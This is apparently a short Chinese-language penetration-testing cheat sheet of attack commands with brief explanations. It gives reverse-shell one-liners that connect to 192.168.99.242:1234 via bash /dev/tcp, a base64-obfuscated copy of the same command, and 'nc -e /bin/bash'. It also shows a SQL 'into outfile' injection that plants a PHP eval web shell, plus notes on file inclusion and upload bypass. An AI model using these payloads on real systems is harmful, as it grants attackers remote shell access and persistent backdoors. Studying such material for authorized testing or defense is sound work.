# 反弹 shell
bash:
bash -i >& /dev/tcp/192.168.99.242/1234 0>&1 | |
//-i 表示交互模式,>&将标准输出以及错误重定向,/dev...是使用特殊文件进行tcp连接,0>&1是将标准输入重定向。 | |
注意:0是标准输入,1是标准输出,2是标准错误。>&是组合操作符,同时操作标准输出和错误,也可以指定。 | |
base64版:bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}' |
nc:
nc -e /bin/bash 192.168.99.242 1234 | |
//-e,在连接成功后执行/bin/bash,将这个shell和网络连接绑定 |
还有 awk,telnet,socat,Python,PHP,java,Perl,Ruby,JAVA...
# getshell
# 注入
select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'
//字符串就是<?php eval($_POST['a']); ?>,也可以不用16进制。
显然要有写入权限,知道路径,看上去是堆叠或者联合?
# 文件包含
要先文件上传,其简单防护包括:
前端校验文件名 ,MIME
文件包含需要 PHP 的配置文件项 allow_url_include 和 allow_url_fopen 均设置为 On